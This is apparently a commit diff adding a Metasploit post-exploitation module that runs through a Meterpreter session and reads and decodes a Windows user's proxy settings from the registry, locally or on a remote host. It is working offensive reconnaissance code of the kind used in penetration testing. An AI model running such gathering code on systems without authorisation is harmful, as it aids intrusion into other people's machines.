1
+ ##
2
+ # $Id$
3
+ ##
4
+
5
+ ##
6
+ # This file is part of the Metasploit Framework and may be subject to
7
+ # redistribution and commercial restrictions. Please see the Metasploit
8
+ # web site for more information on licensing and terms of use.
9
+ # http://metasploit.com/
10
+ ##
11
+
12
+ require 'msf/core'
13
+
14
+ class Metasploit3 < Msf ::Post
15
+
16
+ def initialize
17
+ super (
18
+ 'Name' => 'Windows Gather Proxy Setting' ,
19
+ 'Version' => '$Revision$' ,
20
+ 'Description' => %q{
21
+ This module pulls a user's proxy settings. If neither RHOST or SID
22
+ are set it pulls the current user, else it will pull the user's settings
23
+ specified SID and target host.
24
+ } ,
25
+ 'Author' => [ 'mubix <mubix[at]hak5.org>' ] ,
26
+ 'License' => MSF_LICENSE ,
27
+ 'Platform' => [ 'windows' ] ,
28
+ 'SessionTypes' => [ 'meterpreter' ]
29
+ )
30
+
31
+ register_options (
32
+ [
33
+ OptAddress . new ( 'RHOST' , [ false , 'Remote host to clone settings to, defaults to local' ] ) ,
34
+ OptString . new ( 'SID' , [ false , 'SID of user to clone settings to (SYSTEM is S-1-5-18)' ] )
35
+ ] , self . class )
36
+ end
37
+
38
+ def run
39
+
40
+ if datastore [ 'SID' ]
41
+ root_key , base_key = session . sys . registry . splitkey ( "HKU\\ #{ datastore [ 'SID' ] } \\ Software\\ Microsoft\\ Windows\\ CurrentVersion\\ Internet Settings\\ Connections" )
42
+ else
43
+ root_key , base_key = session . sys . registry . splitkey ( "HKCU\\ Software\\ Microsoft\\ Windows\\ CurrentVersion\\ Internet Settings\\ Connections" )
44
+ end
45
+
46
+ # print_status "#{root_key}"
47
+ # print_status "#{base_key}"
48
+
49
+ if datastore [ 'RHOST' ]
50
+ key = session . sys . registry . open_remote_key ( datastore [ 'RHOST' ] , root_key )
51
+ open_key = key . open_key ( base_key )
52
+ else
53
+ open_key = session . sys . registry . open_key ( root_key , base_key )
54
+ end
55
+
56
+ values = open_key . query_value ( 'DefaultConnectionSettings' )
57
+
58
+ data = values . data
59
+
60
+ print_status "Proxy Counter = #{ ( data [ 4 , 1 ] . unpack ( 'C*' ) ) [ 0 ] } "
61
+ case ( data [ 8 , 1 ] . unpack ( 'C*' ) ) [ 0 ]
62
+ when 1
63
+ print_status "Setting: No proxy settings"
64
+ when 3
65
+ print_status "Setting: Proxy server"
66
+ when 5
67
+ print_status "Setting: Set proxy via AutoConfigure script"
68
+ when 7
69
+ print_status "Setting: Proxy server and AutoConfigure script"
70
+ when 9
71
+ print_status "Setting: WPAD"
72
+ when 11
73
+ print_status "Setting: WPAD and Proxy server"
74
+ when 13
75
+ print_status "Setting: WPAD and AutoConfigure script"
76
+ when 15
77
+ print_status "Setting: WPAD, Proxy server and AutoConfigure script"
78
+ else
79
+ print_status "Setting: Unknown proxy setting found"
80
+ end
81
+
82
+ cursor = 12
83
+ proxyserver = data [ cursor +4 , ( data [ cursor , 1 ] . unpack ( 'C*' ) ) [ 0 ] ]
84
+ print_status "Proxy Server: #{ proxyserver } " if proxyserver != ""
85
+
86
+ cursor = cursor + 4 + ( data [ cursor ] . unpack ( 'C*' ) ) [ 0 ]
87
+ additionalinfo = data [ cursor +4 , ( data [ cursor , 1 ] . unpack ( 'C*' ) ) [ 0 ] ]
88
+ print_status "Additional Info: #{ additionalinfo } " if additionalinfo != ""
89
+
90
+ cursor = cursor + 4 + ( data [ cursor ] . unpack ( 'C*' ) ) [ 0 ]
91
+ autoconfigurl = data [ cursor +4 , ( data [ cursor , 1 ] . unpack ( 'C*' ) ) [ 0 ] ]
92
+ print_status "AutoConfigURL: #{ autoconfigurl } " if autoconfigurl != ""
93
+
94
+ end
95
+
96
+ end
0 commit comments